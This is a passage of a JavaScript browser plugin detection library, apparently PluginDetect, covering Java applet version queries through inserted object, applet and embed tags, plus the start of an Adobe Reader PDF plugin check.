  2275.                             DIGITMIN: [1, 0, 0, 0],
  2276.                             Upper: ["999", "10", "5,0,20", "1,5,0,20", "1,4,1,20", "1,4,1,2", "1,4,1", "1,4"],
  2277.                             Lower: ["10", "5,0,20", "1,5,0,20", "1,4,1,20", "1,4,1,2", "1,4,1", "1,4", "0"],
  2278.                             convert: [
  2279.                                 function (b, a) {
  2280.                                     return a ? [parseInt(b[0], 10) > 1 ? "99" : parseInt(b[1], 10) + 3 + "", b[3], "0", "0"] : ["1", parseInt(b[0], 10) - 3 + "", "0", b[1]]
  2281.                                 },
  2282.                                 function (b, a) {
  2283.                                     return a ? [b[1], b[2], b[3] + "0", "0"] : ["1", b[0], b[1], b[2].substring(0, b[2].length - 1 || 1)]
  2284.                                 },
  2285.                                 0,
  2286.                                 function (b, a) {
  2287.                                     return a ? [b[0], b[1], b[2], b[3] + "0"] : [b[0], b[1], b[2], b[3].substring(0, b[3].length - 1 || 1)]
  2288.                                 },
  2289.                                 0, 1,
  2290.                                 function (b, a) {
  2291.                                     return a ? [b[0], b[1], b[2], b[3] + "0"] : [b[0], b[1], b[2], b[3].substring(0, b[3].length - 1 || 1)]
  2292.                                 },
  2293.                                 1
  2294.                             ]
  2295.                         },
  2296.                         results: [
  2297.                             [null, null],
  2298.                             [null, null],
  2299.                             [null, null],
  2300.                             [null, null]
  2301.                         ],
  2302.                         getResult: function () {
  2303.                             var b = this,
  2304.                                 d = b.results,
  2305.                                 a, c = [];
  2306.                             for (a = d.length - 1; a >= 0; a--) {
  2307.                                 c = d[a];
  2308.                                 if (c[0]) {
  2309.                                     break
  2310.                                 }
  2311.                             }
  2312.                             c = [].concat(c);
  2313.                             return c
  2314.                         },
  2315.                         DummySpanTagHTML: 0,
  2316.                         HTML: [0, 0, 0, 0],
  2317.                         active: [0, 0, 0, 0],
  2318.                         DummyObjTagHTML: 0,
  2319.                         DummyObjTagHTML2: 0,
  2320.                         allowed: [1, 1, 1, 1],
  2321.                         VerifyTagsHas: function (c) {
  2322.                             var d = this,
  2323.                                 b;
  2324.                             for (b = 0; b < d.allowed.length; b++) {
  2325.                                 if (d.allowed[b] === c) {
  2326.                                     return 1
  2327.                                 }
  2328.                             }
  2329.                             return 0
  2330.                         },
  2331.                         saveAsVerifyTagsArray: function (c) {
  2332.                             var b = this,
  2333.                                 d = b.$,
  2334.                                 a;
  2335.                             if (d.isArray(c)) {
  2336.                                 for (a = 1; a < b.allowed.length; a++) {
  2337.                                     if (c.length > a - 1 && d.isNum(c[a - 1])) {
  2338.                                         if (c[a - 1] < 0) {
  2339.                                             c[a - 1] = 0
  2340.                                         }
  2341.                                         if (c[a - 1] > 3) {
  2342.                                             c[a - 1] = 3
  2343.                                         }
  2344.                                         b.allowed[a] = c[a - 1]
  2345.                                     }
  2346.                                 }
  2347.                                 b.allowed[0] = b.allowed[3]
  2348.                             }
  2349.                         },
  2350.                         setVerifyTagsArray: function (d) {
  2351.                             var b = this,
  2352.                                 c = b.$,
  2353.                                 a = b.$$;
  2354.                             if (a.getVersionDone === null) {
  2355.                                 b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())
  2356.                             }
  2357.                             if (c.dbug) {
  2358.                                 b.saveAsVerifyTagsArray([3, 3, 3])
  2359.                             } else {
  2360.                                 if (d) {
  2361.                                     b.saveAsVerifyTagsArray(d)
  2362.                                 }
  2363.                             }
  2364.                         },
  2365.                         isDisabled: {
  2366.                             $: 1,
  2367.                             single: function (d) {
  2368.                                 var a = this,
  2369.                                     c = a.$,
  2370.                                     b = a.$$;
  2371.                                 if (d == 0) {
  2372.                                     return c.codebase.isDisabled()
  2373.                                 }
  2374.                                 if ((d == 3 && !c.isIE) || a.all()) {
  2375.                                     return 1
  2376.                                 }
  2377.                                 if (d == 1 || d == 3) {
  2378.                                     return !c.DOM.isEnabled.objectTag()
  2379.                                 }
  2380.                                 if (d == 2) {
  2381.                                     return a.AppletTag()
  2382.                                 }
  2383.                             },
  2384.                             aA_: null,
  2385.                             all: function () {
  2386.                                 var c = this,
  2387.                                     e = c.$,
  2388.                                     d = c.$$,
  2389.                                     b = d.navigator,
  2390.                                     a = 0;
  2391.                                 if (c.aA_ === null) {
  2392.                                     if (e.OS >= 20) {
  2393.                                         a = 0
  2394.                                     } else {
  2395.                                         if (e.verOpera && e.verOpera < 11 && !b.javaEnabled()) {
  2396.                                             a = 1
  2397.                                         } else {
  2398.                                             if ((e.verGecko && e.compareNums(e.verGecko, e.formatNum("2")) < 0) && !b.mimeObj) {
  2399.                                                 a = 1
  2400.                                             } else {
  2401.                                                 if (c.AppletTag() && !e.DOM.isEnabled.objectTag()) {
  2402.                                                     a = 1
  2403.                                                 }
  2404.                                             }
  2405.                                         }
  2406.                                     };
  2407.                                     c.aA_ = a
  2408.                                 }
  2409.                                 return c.aA_
  2410.                             },
  2411.                             AppletTag: function () {
  2412.                                 var b = this,
  2413.                                     d = b.$,
  2414.                                     c = b.$$,
  2415.                                     a = c.navigator;
  2416.                                 return d.isIE ? !a.javaEnabled() : 0
  2417.                             },
  2418.                             VerifyTagsDefault_1: function () {
  2419.                                 var a = this.$;
  2420.                                 if (a.OS >= 20) {
  2421.                                     return 1
  2422.                                 }
  2423.                                 if ((a.isIE && (a.verIE < 9 || !a.ActiveXEnabled)) || (a.verGecko && a.compareNums(a.verGecko, a.formatNum("2")) < 0) || (a.isSafari && (!a.verSafari || a.compareNums(a.verSafari, a.formatNum("4")) < 0)) || (a.verOpera && a.verOpera < 10)) {
  2424.                                     return 0
  2425.                                 }
  2426.                                 return 1
  2427.                             },
  2428.                             z: 0
  2429.                         },
  2430.                         can_Insert_Query: function (d) {
  2431.                             var b = this,
  2432.                                 c = b.results[0][0],
  2433.                                 a = b.getResult()[0];
  2434.                             if (b.HTML[d] || (d == 0 && c !== null && !b.isRange(c)) || (d == 0 && a && !b.isRange(a))) {
  2435.                                 return 0
  2436.                             }
  2437.                             return !b.isDisabled.single(d)
  2438.                         },
  2439.                         can_Insert_Query_Any: function () {
  2440.                             var b = this,
  2441.                                 a;
  2442.                             for (a = 0; a < b.results.length; a++) {
  2443.                                 if (b.can_Insert_Query(a)) {
  2444.                                     return 1
  2445.                                 }
  2446.                             }
  2447.                             return 0
  2448.                         },
  2449.                         should_Insert_Query: function (e) {
  2450.                             var c = this,
  2451.                                 f = c.allowed,
  2452.                                 d = c.$,
  2453.                                 b = c.$$,
  2454.                                 a = c.getResult()[0];
  2455.                             a = a && (e > 0 || !c.isRange(a));
  2456.                             if (!c.can_Insert_Query(e) || f[e] === 0) {
  2457.                                 return 0
  2458.                             }
  2459.                             if (f[e] == 3 || (f[e] == 2.8 && !a)) {
  2460.                                 return 1
  2461.                             }
  2462.                             if (!b.nonAppletDetectionOk(b.version0)) {
  2463.                                 if (f[e] == 2 || (f[e] == 1 && !a)) {
  2464.                                     return 1
  2465.                                 }
  2466.                             }
  2467.                             return 0
  2468.                         },
  2469.                         should_Insert_Query_Any: function () {
  2470.                             var b = this,
  2471.                                 a;
  2472.                             for (a = 0; a < b.allowed.length; a++) {
  2473.                                 if (b.should_Insert_Query(a)) {
  2474.                                     return 1
  2475.                                 }
  2476.                             }
  2477.                             return 0
  2478.                         },
  2479.                         query: function (f) {
  2480.                             var j, a = this,
  2481.                                 i = a.$,
  2482.                                 d = a.$$,
  2483.                                 k = null,
  2484.                                 l = null,
  2485.                                 b = a.results,
  2486.                                 c, h, g = a.HTML[f];
  2487.                             if (!g || !g.obj() || b[f][0] || d.bridgeDisabled || (i.dbug && d.OTF < 3)) {
  2488.                                 return
  2489.                             }
  2490.                             c = g.obj();
  2491.                             h = g.readyState();
  2492.                             if (!i.isIE || h === 4) {
  2493.                                 try {
  2494.                                     k = i.getNum(c.getVersion() + "");
  2495.                                     l = c.getVendor() + "";
  2496.                                     c.statusbar(i.win.loaded ? " " : " ")
  2497.                                 } catch (j) {};
  2498.                                 if (k && i.isStrNum(k)) {
  2499.                                     b[f] = [k, l];
  2500.                                     a.active[f] = 2
  2501.                                 }
  2502.                             }
  2503.                         },
  2504.                         isRange: function (a) {
  2505.                             return (/^[<>]/).test(a || "") ? (a.charAt(0) == ">" ? 1 : -1) : 0
  2506.                         },
  2507.                         setRange: function (b, a) {
  2508.                             return (b ? (b > 0 ? ">" : "<") : "") + (this.$.isString(a) ? a : "")
  2509.                         },
  2510.                         insertJavaTag: function (g, n, h, o, m) {
  2511.                             var e = this,
  2512.                                 c = e.$,
  2513.                                 k = e.$$,
  2514.                                 r = "A.class",
  2515.                                 b = c.file.getValid(k),
  2516.                                 f = b.name + b.ext,
  2517.                                 q = b.path;
  2518.                             var i = ["archive", f, "code", r],
  2519.                                 l = (o ? ["width", o] : []).concat(m ? ["height", m] : []),
  2520.                                 j = ["mayscript", "true"],
  2521.                                 p = ["scriptable", "true", "codebase_lookup", "false"].concat(j),
  2522.                                 a = k.navigator,
  2523.                                 d = !c.isIE && a.mimeObj && a.mimeObj.type ? a.mimeObj.type : k.mimeType[0];
  2524.                             if (g == 1) {
  2525.                                 return c.isIE ? c.DOM.insert("object", ["type", d].concat(l), ["codebase", q].concat(i).concat(p), h, k, 0, n) : c.DOM.insert("object", ["type", d].concat(l), ["codebase", q].concat(i).concat(p), h, k, 0, n)
  2526.                             }
  2527.                             if (g == 2) {
  2528.                                 return c.isIE ? c.DOM.insert("applet", ["alt", h].concat(j).concat(i).concat(l), ["codebase", q].concat(p), h, k, 0, n) : c.DOM.insert("applet", ["codebase", q, "alt", h].concat(j).concat(i).concat(l), [].concat(p), h, k, 0, n)
  2529.                             }
  2530.                             if (g == 3) {
  2531.                                 return c.isIE ? c.DOM.insert("object", ["classid", k.classID].concat(l), ["codebase", q].concat(i).concat(p), h, k, 0, n) : c.DOM.insert()
  2532.                             }
  2533.                             if (g == 4) {
  2534.                                 return c.DOM.insert("embed", ["codebase", q].concat(i).concat(["type", d]).concat(p).concat(l), [], h, k, 0, n)
  2535.                             }
  2536.                         },
  2537.                         insert_Query_Any: function (i) {
  2538.                             var b = this,
  2539.                                 d = b.$,
  2540.                                 c = b.$$,
  2541.                                 g = b.results,
  2542.                                 j = b.HTML,
  2543.                                 a = d.DOM.altHTML,
  2544.                                 e, h = d.file.getValid(c);
  2545.                             if (b.should_Insert_Query(0)) {
  2546.                                 if (c.OTF < 2) {
  2547.                                     c.OTF = 2
  2548.                                 };
  2549.                                 g[0] = [0, 0];
  2550.                                 e = i ? b.codebase.isMin(i) : b.codebase.search();
  2551.                                 if (e) {
  2552.                                     g[0][0] = i ? b.setRange(e, i) : e
  2553.                                 }
  2554.                                 b.active[0] = e ? 1.5 : -1
  2555.                             }
  2556.                             if (!h) {
  2557.                                 return b.getResult()
  2558.                             }
  2559.                             if (!b.DummySpanTagHTML) {
  2560.                                 b.DummySpanTagHTML = d.DOM.insert("", [], [], a)
  2561.                             }
  2562.                             if (b.should_Insert_Query(1)) {
  2563.                                 if (c.OTF < 2) {
  2564.                                     c.OTF = 2
  2565.                                 };
  2566.                                 j[1] = b.insertJavaTag(1, 0, a);
  2567.                                 g[1] = [0, 0];
  2568.                                 b.query(1)
  2569.                             }
  2570.                             if (b.should_Insert_Query(2)) {
  2571.                                 if (c.OTF < 2) {
  2572.                                     c.OTF = 2
  2573.                                 };
  2574.                                 j[2] = b.insertJavaTag(2, 0, a);
  2575.                                 g[2] = [0, 0];
  2576.                                 b.query(2)
  2577.                             }
  2578.                             if (b.should_Insert_Query(3)) {
  2579.                                 if (c.OTF < 2) {
  2580.                                     c.OTF = 2
  2581.                                 };
  2582.                                 j[3] = b.insertJavaTag(3, 0, a);
  2583.                                 g[3] = [0, 0];
  2584.                                 b.query(3)
  2585.                             }
  2586.                             if (d.DOM.isEnabled.objectTag()) {
  2587.                                 if (!b.DummyObjTagHTML && (j[1] || j[2])) {
  2588.                                     b.DummyObjTagHTML = d.DOM.insert("object", ["type", c.mimeType_dummy], [], a)
  2589.                                 }
  2590.                                 if (!b.DummyObjTagHTML2 && j[3]) {
  2591.                                     b.DummyObjTagHTML2 = d.DOM.insert("object", ["classid", c.classID_dummy], [], a)
  2592.                                 }
  2593.                             }
  2594.                             var f = c.NOTF;
  2595.                             if (c.OTF < 3 && f.shouldContinueQuery()) {
  2596.                                 c.OTF = 3;
  2597.                                 f.onIntervalQuery = d.ev.handler(f.$$onIntervalQuery, f);
  2598.                                 if (!d.win.loaded) {
  2599.                                     d.win.funcs0.push([f.winOnLoadQuery, f])
  2600.                                 }
  2601.                                 setTimeout(f.onIntervalQuery, f.intervalLength)
  2602.                             }
  2603.                             return b.getResult()
  2604.                         }
  2605.                     },
  2606.                     NOTF: {
  2607.                         $: 1,
  2608.                         count: 0,
  2609.                         countMax: 25,
  2610.                         intervalLength: 250,
  2611.                         shouldContinueQuery: function () {
  2612.                             var f = this,
  2613.                                 e = f.$,
  2614.                                 c = f.$$,
  2615.                                 b = c.applet,
  2616.                                 a, d = 0;
  2617.                             if (e.win.loaded && f.count > f.countMax) {
  2618.                                 return 0
  2619.                             }
  2620.                             for (a = 0; a < b.results.length; a++) {
  2621.                                 if (b.HTML[a]) {
  2622.                                     if (!e.win.loaded && f.count > f.countMax && e.codebase.checkGarbage(b.HTML[a].span)) {
  2623.                                         d = 1;
  2624.                                         b.HTML[a].DELETE = 1
  2625.                                     }
  2626.                                     if (!d && !b.results[a][0] && (b.allowed[a] >= 2 || (b.allowed[a] == 1 && !b.getResult()[0])) && f.isAppletActive(a) >= 0) {
  2627.                                         return 1
  2628.                                     }
  2629.                                 }
  2630.                             };
  2631.                             return 0
  2632.                         },
  2633.                         isJavaActive: function (d) {
  2634.                             var f = this,
  2635.                                 c = f.$$,
  2636.                                 a, b, e = -9;
  2637.                             for (a = 0; a < c.applet.HTML.length; a++) {
  2638.                                 b = f.isAppletActive(a, d);
  2639.                                 if (b > e) {
  2640.                                     e = b
  2641.                                 }
  2642.                             }
  2643.                             return e
  2644.                         },
  2645.                         isAppletActive: function (e, g) {
  2646.                             var h = this,
  2647.                                 f = h.$,
  2648.                                 b = h.$$,
  2649.                                 l = b.navigator,
  2650.                                 a = b.applet,
  2651.                                 i = a.HTML[e],
  2652.                                 d = a.active,
  2653.                                 k, c = 0,
  2654.                                 j, m = d[e];
  2655.                             if (g || m >= 1.5 || !i || !i.span) {
  2656.                                 return m
  2657.                             };
  2658.                             j = f.DOM.getTagStatus(i, a.DummySpanTagHTML, a.DummyObjTagHTML, a.DummyObjTagHTML2, h.count);
  2659.                             for (k = 0; k < d.length; k++) {
  2660.                                 if (d[k] > 0) {
  2661.                                     c = 1
  2662.                                 }
  2663.                             }
  2664.                             if (j != 1) {
  2665.                                 m = j
  2666.                             } else {
  2667.                                 if (f.isIE || (b.version0 && l.javaEnabled() && l.mimeObj && (i.tagName == "object" || c))) {
  2668.                                     m = 1
  2669.                                 } else {
  2670.                                     m = 0
  2671.                                 }
  2672.                             }
  2673.                             d[e] = m;
  2674.                             return m
  2675.                         },
  2676.                         winOnLoadQuery: function (c, d) {
  2677.                             var b = d.$$,
  2678.                                 a;
  2679.                             if (b.OTF == 3) {
  2680.                                 a = d.queryAllApplets();
  2681.                                 d.queryCompleted(a)
  2682.                             }
  2683.                         },
  2684.                         $$onIntervalQuery: function (d) {
  2685.                             var c = d.$,
  2686.                                 b = d.$$,
  2687.                                 a;
  2688.                             if (b.OTF == 3) {
  2689.                                 a = d.queryAllApplets();
  2690.                                 if (!d.shouldContinueQuery()) {
  2691.                                     d.queryCompleted(a)
  2692.                                 }
  2693.                             }
  2694.                             d.count++;
  2695.                             if (b.OTF == 3) {
  2696.                                 setTimeout(d.onIntervalQuery, d.intervalLength)
  2697.                             }
  2698.                         },
  2699.                         queryAllApplets: function () {
  2700.                             var f = this,
  2701.                                 e = f.$,
  2702.                                 d = f.$$,
  2703.                                 c = d.applet,
  2704.                                 b, a;
  2705.                             for (b = 0; b < c.results.length; b++) {
  2706.                                 c.query(b)
  2707.                             }
  2708.                             a = c.getResult();
  2709.                             return a
  2710.                         },
  2711.                         queryCompleted: function (c) {
  2712.                             var g = this,
  2713.                                 f = g.$,
  2714.                                 e = g.$$,
  2715.                                 d = e.applet,
  2716.                                 b;
  2717.                             if (e.OTF >= 4) {
  2718.                                 return
  2719.                             }
  2720.                             e.OTF = 4;
  2721.                             var a = g.isJavaActive();
  2722.                             for (b = 0; b < d.HTML.length; b++) {
  2723.                                 if (d.HTML[b] && d.HTML[b].DELETE) {
  2724.                                     f.DOM.emptyNode(d.HTML[b].span);
  2725.                                     d.HTML[b].span = null
  2726.                                 }
  2727.                             }
  2728.                             e.setPluginStatus(c[0], c[1], 0);
  2729.                             if (f.onDetectionDone && e.funcs) {
  2730.                                 f.ev.callArray(e.funcs)
  2731.                             }
  2732.                             if (f.DOM) {
  2733.                                 f.DOM.onDoneEmptyDiv()
  2734.                             }
  2735.                         }
  2736.                     },
  2737.                     zz: 0
  2738.                 },
  2739.                 adobereader: {
  2740.                     $: 1,
  2741.                     setPluginStatus: function () {
  2742.                         var d = this,
  2743.                             b = d.$,
  2744.                             a = d.navPlugin.detected,
  2745.                             e = d.navPlugin.version,
  2746.                             g = d.axo.detected,
  2747.                             c = d.axo.version,
  2748.                             i = d.doc.detected,
  2749.                             h = d.doc.version,
  2750.                             f = e || c || h || null;
  2751.                         d.installed = f ? 1 : (a > 0 || g > 0 || i > 0 ? 0 : (i == -0.5 ? -0.15 : (b.isIE && (!b.ActiveXEnabled || b.ActiveXFilteringEnabled) ? -1.5 : -1)));
  2752.                         d.version = b.formatNum(f)
  2753.                     },
  2754.                     getVersion: function (c, e) {
  2755.                         var a = this,
  2756.                             d = a.$,
  2757.                             b = 0;
  2758.                         if ((!b || d.dbug) && a.navPlugin.query().detected > 0) {
  2759.                             b = 1
  2760.                         }
  2761.                         if ((!b || d.dbug) && a.axo.query().detected > 0) {
  2762.                             b = 1
  2763.                         }
  2764.                         if ((!b || d.dbug) && (a.doc.query().detected > 0 || a.doc.detected == -0.5)) {
  2765.                             b = 1
  2766.                         }
  2767.                         a.setPluginStatus()
  2768.                     },
  2769.                     navPlugin: {
  2770.                         $: 1,
  2771.                         detected: 0,
  2772.                         version: null,
  2773.                         mimeType: "application/pdf",
  2774.                         isDisabled: function () {
  2775.                             var c = this,
  2776.                                 b = c.$,
  2777.                                 a = c.$$;
  2778.                             return b.isIE || c.detected || !b.hasMimeType(c.mimeType) ? 1 : 0
  2779.                         },
  2780.                         attempt3: function () {
  2781.                             var c = this,
  2782.                                 b = c.$,
  2783.                                 a = null;
  2784.                             if (b.OS == 1) {
  2785.                                 if (b.hasMimeType("application/vnd.adobe.pdfxml")) {
  2786.                                     a = "9"
  2787.                                 } else {
  2788.                                     if (b.hasMimeType("application/vnd.adobe.x-mars")) {
  2789.                                       &nbs